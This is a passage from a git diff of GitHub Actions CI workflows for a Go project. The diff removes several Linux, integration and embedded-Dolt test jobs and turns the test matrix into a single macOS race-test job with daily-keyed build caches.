same `go test` over ./... in one job): every package +# Integration lane: the `go test` main.yml's former "Main Linux integration" +# jobs ran on push (this lane replaced them; nightly.yml's Full Test Suite +# still runs the same `go test` over ./... in one job): every package # built with -tags=integration,gms_pure_go, race, no -short, no -skip, # BEADS_TEST_SKIP=dolt. The tag is set for the whole build, as `go test -tags` # does, not per target: gazelle generates srcs/deps with integration files diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 03d6edd5b..a05c26274 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -13,24 +13,6 @@ env: BD_DISABLE_EVENT_FLUSH: "1" jobs: - detect-ci-tier: - name: Detect CI tier - runs-on: ubuntu-latest - outputs: - full_embedded: ${{ steps.tier.outputs.full_embedded }} - reason: ${{ steps.tier.outputs.reason }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide embedded Dolt coverage - id: tier - env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: bash .github/scripts/ci-embedded-tier.sh - # Same guard as pr.yml's check-migration-hygiene: direct pushes to main # (and PR merges whose base moved) must not bypass the migration lints. # BASE_SHA is the pre-push tip; on force pushes or history rewrites the @@ -250,48 +232,6 @@ jobs: - run: ./scripts/check-go-install-guidance.sh - run: ./scripts/check-winget-portable-alias.sh - # Lock in the cgo-test-contamination fix (mybd-ycx / GH#3683 follow-up). - # cmd/bd carries a mix of cgo-only test helpers (embedded Dolt, sql.DB) and - # pure-Go tests. Untagged test files that reach for cgo-only helpers break - # the entire package's CGO_ENABLED=0 compile, silently neutering pure-Go - # tests (the original symptom in PR #3704). This job compiles the cmd/bd - # test binary with CGO_ENABLED=0 and runs the pure-Go subset, so a - # regression that re-introduces cgo coupling fails fast. - check-cmd-bd-puregeo-tests: - name: Check cmd/bd pure-Go tests compile (CGO_ENABLED=0) - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Build cmd/bd (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd - - - name: Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: | - go test -tags gms_pure_go -c -o /tmp/bd-cmd-puregeo-test ./cmd/bd - go test -tags gms_pure_go -c -o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt - go test -tags gms_pure_go -c -o /tmp/bd-tracker-puregeo-test ./internal/tracker - - - name: Run pure-Go cmd/bd test subset (CGO_ENABLED=0) - env: - CGO_ENABLED: "0" - # Restrict to tests that exercise pure-Go code paths. Tests that - # need a Dolt store skip themselves at runtime when no test server - # is available; the goal here is to catch compile-time contamination, - # not run the full suite. - run: | - go test -tags gms_pure_go -count=1 -short -run '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' ./cmd/bd - # Fast check to ensure all version files are in sync check-version-consistency: name: Check version consistency @@ -520,65 +460,6 @@ jobs: - name: Run PR policy wrapper run: make ci-pr-policy - pr-core-wrapper: - name: PR Core (wrapper timing) - runs-on: ubuntu-latest - needs: build-artifacts - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - id: restore-race-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run PR core wrapper - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - GOCACHE: ${{ runner.temp }}/go-cache/race - run: make ci-pr-core - # F7b: pr.yml's pr-lint-wrapper moved to same-repo Blacksmith # (blacksmith-4vcpu-ubuntu-2404) for same-repo PRs/merge_group, falling back # to ubuntu-latest for forks/Dependabot. golangci-lint's own cache and this @@ -663,40 +544,25 @@ jobs: ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - # Cross-platform test matrix (Linux/macOS only - Windows uses smoke tests) + # macOS full -race -short suite. Linux runs the same suite under Bazel + # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), + # and Windows uses smoke tests below; rbe-west has no macOS workers, so this + # is the one lane that still runs the suite on a runner. Blacksmith macOS, + # the image pr.yml's same-repo macOS legs use; blacksmith-macos-go-build-cache + # seeds its module and non-race caches, and this job saves only its own race + # cache (keyed per go.sum and UTC day, F7b review fix S7). # - # Both legs run every package in one `./...` invocation, so go test's DEFAULT - # 10m per-package deadline applied — and cmd/bd outgrew it. scripts/test.sh - # already documents the floor for local runs: cmd/bd is the slowest package at - # ~18min wall, which is why TEST_TIMEOUT defaults to 25m there. CI was still on - # the 10m default and rode the edge: on 2026-09-01 main run 33497003321 failed - # twice with `panic: test timed out after 10m0s` in cmd/bd AND, in the same - # coverage pass, internal/storage/uow — different tests only 1-12s in flight - # each attempt (a package-wide crawl on the 2-core coverage-instrumented - # runner, not a hang), while a rerun of the identical tree passed. Match - # scripts/test.sh's 25m per-package deadline and keep it inside one finite job - # budget, the same shape the storage/uow and conformance jobs below use: the go - # deadline fires first and prints goroutine stacks, so a REAL hang is still - # diagnosable rather than being cut off by a bare job kill. + # ./cmd/bd has outgrown `go test`'s 10m per-package default (see + # scripts/test.sh, scripts/ci/pr-core.sh and #6091), and when it trips the + # alarm the panic names whichever test was in flight, so it reads like a + # hang. -timeout=30m sits on the invocation and inside one finite job + # budget: the go deadline fires first and prints goroutine stacks, so a real + # hang is still diagnosable rather than cut off by a bare job kill. test: - name: Test (${{ matrix.os }}) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ${{ matrix.os }} - needs: build-artifacts + name: Test (macOS) + if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' + runs-on: ${{ 'blacksmith-6vcpu-macos-26' }} timeout-minutes: 45 - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, macos-latest] - include: - # Linux: full test suite with coverage - - os: ubuntu-latest - coverage: true - test-flags: '-v -race -short -coverprofile=coverage.out' - # macOS: full test suite, no coverage (faster) - - os: macos-latest - coverage: false - test-flags: '-v -race -short' steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -707,6 +573,10 @@ jobs: go-version-file: 'go.mod' cache: false + - name: Compute cache date + id: cache-date + run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" + - name: Restore Go module cache id: restore-go-module-cache uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 @@ -717,11 +587,10 @@ jobs: - name: Restore non-race Go build cache id: restore-non-race-go-build-cache - if: matrix.os == 'macos-latest' uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - name: Restore race Go build cache @@ -729,7 +598,7 @@ jobs: uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - name: Install Dolt (Linux/macOS) @@ -745,619 +614,25 @@ jobs: dolt config --global --add user.name "CI Bot" dolt config --global --add user.email "ci@beads.test" - - name: Install gotestsum - if: matrix.coverage - run: go install gotest.tools/gotestsum@v1.13.0 - - - name: Download build artifacts - if: matrix.os == 'ubuntu-latest' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - if: matrix.os == 'ubuntu-latest' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - name: Build - if: matrix.os != 'ubuntu-latest' env: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go build -v -tags gms_pure_go ./cmd/bd - # Seeds the GitHub-hosted macOS non-race GOCACHE that pr.yml's - # pr-preflight-platforms and check-doc-freshness-platforms macOS legs - # restore on the fork/Dependabot path (same-repo PRs run those legs on - # Blacksmith macOS, seeded by blacksmith-macos-go-build-cache) with the test - # packages they actually compile (./cmd/bd's test variant and its - # test-only deps, ./scripts both tag sets, gitattributespolicy). The - # Build step above only compiles the non-test ./cmd/bd graph, so the PR - # legs otherwise compile every test-only dependency cold on each run. - # Same shared script as the Linux and Windows seeders. - - name: Warm non-race GOCACHE for macOS preflight/doc-freshness - if: matrix.os == 'macos-latest' - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: bash scripts/ci/warm-non-race-cache.sh - - # Both lanes below pass -timeout=30m explicitly. ./cmd/bd has outgrown - # `go test`'s 10m per-package default (see scripts/ci/pr-core.sh and - # #6091), and when it trips the alarm the panic names whichever test was - # in flight, so it reads like a hang rather than the package running out - # of clock. The flag lives on the invocation, not in matrix.test-flags, - # so editing the matrix cannot silently drop it. 30m matches every other - # -race lane here for this same code. - - name: Test (with coverage + JUnit XML) - if: matrix.coverage - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - GOCACHE: ${{ runner.temp }}/go-cache/race - run: | - gotestsum \ - --junitfile junit.xml \ - --format testdox \ - -- -tags gms_pure_go -race -short -timeout=30m -coverprofile=coverage.out -skip '^TestEmbedded' ./... - - name: Test - if: ${{ !matrix.coverage }} env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/bd GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go ${{ matrix.test-flags }} -timeout=30m -skip '^TestEmbedded' ./... - - - name: Upload coverage to Codecov - if: matrix.coverage && !cancelled() - uses: codecov/codecov-action@fb8b3582c8e4def4969c97caa2f19720cb33a72f # v6 - continue-on-error: true - with: - files: coverage.out - token: ${{ secrets.CODECOV_TOKEN }} - fail_ci_if_error: false - - - name: Upload test results to Codecov - if: matrix.coverage && !cancelled() - uses: codecov/codecov-action@fb8b3582c8e4def4969c97caa2f19720cb33a72f # v6 - continue-on-error: true - with: - files: junit.xml - token: ${{ secrets.CODECOV_TOKEN }} - report_type: test_results - fail_ci_if_error: false - - # Only the macOS leg owns macOS generations. The Linux leg restores the - # Linux writers above and must never become a second cache publisher. - - name: Save Go module cache - if: ${{ !cancelled() && matrix.os == 'macos-latest' && steps.restore-go-module-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - - - name: Save non-race Go build cache - if: ${{ !cancelled() && matrix.os == 'macos-latest' && steps.restore-non-race-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} + run: go test -tags gms_pure_go -v -race -short -timeout=30m -skip '^TestEmbedded' ./... + # Restore-only for the module and non-race caches (the macOS saver + # owns them); this job is the race cache's only reader and writer. - name: Save race Go build cache - if: ${{ !cancelled() && matrix.os == 'macos-latest' && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} + if: ${{ !cancelled() && steps.restore-race-go-build-cache.outputs.cache-hit != 'true' }} uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - - # Focused job for the hexagonal storage layer (internal/storage/domain/* and - # internal/storage/uow). These packages back the proxied-server init path and - # also live behind the existing ./... matrix, but TestDomainDB requires the - # Dolt sql-server image cached locally (testcontainers checks `docker image - # inspect` and skips otherwise). Pulling the image up front guarantees the - # suite actually runs and surfaces failures here with a clear job name. - test-domain-uow: - name: Test (storage domain + uow) - runs-on: ubuntu-latest - needs: build-artifacts - # The race-enabled storage package has outgrown Go's implicit 10-minute - # timeout. Keep both per-package deadlines inside one finite job budget. - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Verify dolt on PATH - run: dolt version - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - # Without this, RequireDoltContainer reports doltNoImage and TestDomainDB skips. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Test domain + uow + tracker - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - # internal/storage/domain, internal/storage/uow, and internal/tracker - # run as concurrent package test binaries in this one invocation. - # testcontainers-go shares one Ryuk reaper per host; a failed - # handshake in one process can reap a sibling's live Dolt container - # mid-suite (be-2on). The runner is destroyed after the job, so the - # reaper buys nothing here and only costs this race. - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 15m -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/... - - # The doctor/fix DB-backed suite spins its own Dolt container in - # TestMain. BEADS_FIX_REQUIRE_DOLT=1 turns a missing container into a - # hard failure so the suite can never silently skip in CI again - # (bd-nxt5e: it was dark for months); this job pulls the image above. - - name: Test doctor/fix (Dolt-backed, hard-require container) - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - BEADS_FIX_REQUIRE_DOLT: "1" - # Pinned for consistency with the step above: this single-package - # step has no sibling test binary to race for the reaper (be-2on). - TESTCONTAINERS_RYUK_DISABLED: "true" - run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ - - main-linux-integration-packages: - name: Main Linux integration packages (${{ matrix.shard }}/6) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ubuntu-latest - needs: build-artifacts - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Test package shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 6 - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - package_manifest="artifacts/main-linux-integration-packages-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_package_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - GO_TEST_SHARD_EXCLUDE_REGEX="^github.com/steveyegge/beads/cmd/bd$" \ - scripts/ci/go-test-shard-packages.sh "$SHARD" "$TOTAL_SHARDS" > "$package_manifest" - } - ci_time "list integration package shard ${SHARD}/${TOTAL_SHARDS}" -- write_package_manifest - cat "$package_manifest" - mapfile -t packages < "$package_manifest" - - if [[ "${#packages[@]}" -eq 0 ]]; then - echo "No packages assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - ci_time "main linux integration package shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/main-linux-integration-packages-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m "${packages[@]}" - - - name: Upload integration artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: main-linux-integration-packages-${{ matrix.shard }}-of-6 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - main-linux-integration-cmd-bd: - name: Main Linux integration cmd/bd (${{ matrix.shard }}/8) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ubuntu-latest - needs: build-artifacts - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Test cmd/bd shard - env: - SHARD: ${{ matrix.shard }} - TOTAL_SHARDS: 8 - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: | - set -euo pipefail - mkdir -p artifacts - source scripts/ci/lib/timing.sh - - ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - - test_manifest="artifacts/main-linux-integration-cmd-bd-tests-${SHARD}-of-${TOTAL_SHARDS}.txt" - write_test_manifest() { - GO_TEST_SHARD_TAGS=integration,gms_pure_go \ - scripts/ci/go-test-shard-names.sh "$SHARD" "$TOTAL_SHARDS" ./cmd/bd > "$test_manifest" - } - ci_time "list cmd/bd test shard ${SHARD}/${TOTAL_SHARDS}" -- write_test_manifest - cat "$test_manifest" - mapfile -t tests < "$test_manifest" - - if [[ "${#tests[@]}" -eq 0 ]]; then - echo "No tests assigned to shard ${SHARD}/${TOTAL_SHARDS}; skipping go test" - exit 0 - fi - - run_regex="^($(IFS='|'; echo "${tests[*]}"))$" - ci_time "main linux integration cmd/bd shard ${SHARD}/${TOTAL_SHARDS} go test" -- \ - env BEADS_TEST_SKIP=dolt gotestsum \ - --junitfile "artifacts/main-linux-integration-cmd-bd-${SHARD}-of-${TOTAL_SHARDS}.xml" \ - --format testdox \ - -- -v -race -tags=integration,gms_pure_go -timeout=30m -run "$run_regex" ./cmd/bd - - - name: Upload integration artifacts - if: always() - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: main-linux-integration-cmd-bd-${{ matrix.shard }}-of-8 - path: artifacts/ - retention-days: 7 - if-no-files-found: ignore - - # End-to-end coverage for proxied-server CLI subcommands, sharded across the - # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt - # sql-server started via testcontainers by the shared proxied harness - # (cmd/bd/*_proxied_integration_test.go). - # - # Reuses the cmd/bd test binary compiled once by build-artifacts (bd-cmd-test): - # the proxied tests share the package and are gated at runtime by - # BEADS_TEST_PROXIED_SERVER=1. Shard assignment is committed in - # .github/scripts/proxied-cmd-test-shards.txt; newly-added - # TestProxiedServer*/TestServerMode* tests hash-distribute until listed there. - # Prefer the `TestProxiedServer` naming convention for new entry - # points; server-mode-topology suites named TestServerMode* are also - # discovered among the cmd/bd/*_test.go entry points, so neither family is - # left out of this lane. That glob is non-recursive: a container-gated suite - # added under cmd/bd// is still never selected here whatever it is - # named, so keep new proxied/server-mode entry points at the top level. - test-proxied-cmd: - name: Test (proxied-server cmd ${{ matrix.shard }}/15) - if: github.event_name == 'push' && github.ref == 'refs/heads/main' - runs-on: ubuntu-latest - needs: build-artifacts - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure bd-cmd-test - - - name: Install Dolt CLI - # TestProxiedServerExternalCreate needs the dolt binary on PATH; the - # shared harness itself uses the dolt sql-server container image. - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # The shared proxied harness requires the image cached locally - # (isDoltImageCached); without it every proxied test self-skips. Keep the - # tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test proxied-server cmd shard - # Timeout ordering, same as pr-risk.yml's twin: the test binary's own - # -test.timeout=15m (proxied-test-shard.sh) fires first and dumps - # goroutines, this 16m step timeout only backstops a wedged binary, and - # the 30m job budget absorbs the download/install/pull steps. Without - # the step timeout, slow setup alone can exhaust the job budget and kill - # a healthy test run with nothing to diagnose. - timeout-minutes: 16 - env: - BEADS_TEST_PROXIED_SERVER: "1" - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - BEADS_TEST_CMD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-cmd-test - run: bash .github/scripts/proxied-test-shard.sh ${{ matrix.shard }} 15 - - # Embedded Dolt tests - test the in-process Dolt engine (no server required) - # - # Split into: build → storage tests + parallel cmd test shards. - # cmd/bd embedded tests use a committed shard manifest; newly-added tests - # still auto-distribute via hash fallback until the manifest is updated. - - build-embedded: - name: Build (Embedded Dolt) - needs: detect-ci-tier - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - id: restore-race-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Build embedded bd binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/ - - - name: Build embedded storage test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/ - - - name: Build embedded cmd test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/ - - - name: Upload binaries - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: embedded-test-binaries - path: | - /tmp/bd-embedded-test - /tmp/embeddeddolt-test - /tmp/bd-cmd-test - retention-days: 1 - - - name: Save race Go build cache - if: steps.restore-race-go-build-cache.outputs.cache-hit != 'true' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - - test-embedded-storage: - name: Test (Embedded Dolt Storage ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - # The shard script's -test.timeout=20m plus setup. At 15m the 1000-item - # batch-apply cap cancelled shard 2/5: TestBatchApplyContract took 604s - # under -race (97s at the 100-item cap, main run 35862663577) and the - # shard hit 15m twice (PR Risk run 36807191489). The manifest now pins - # the 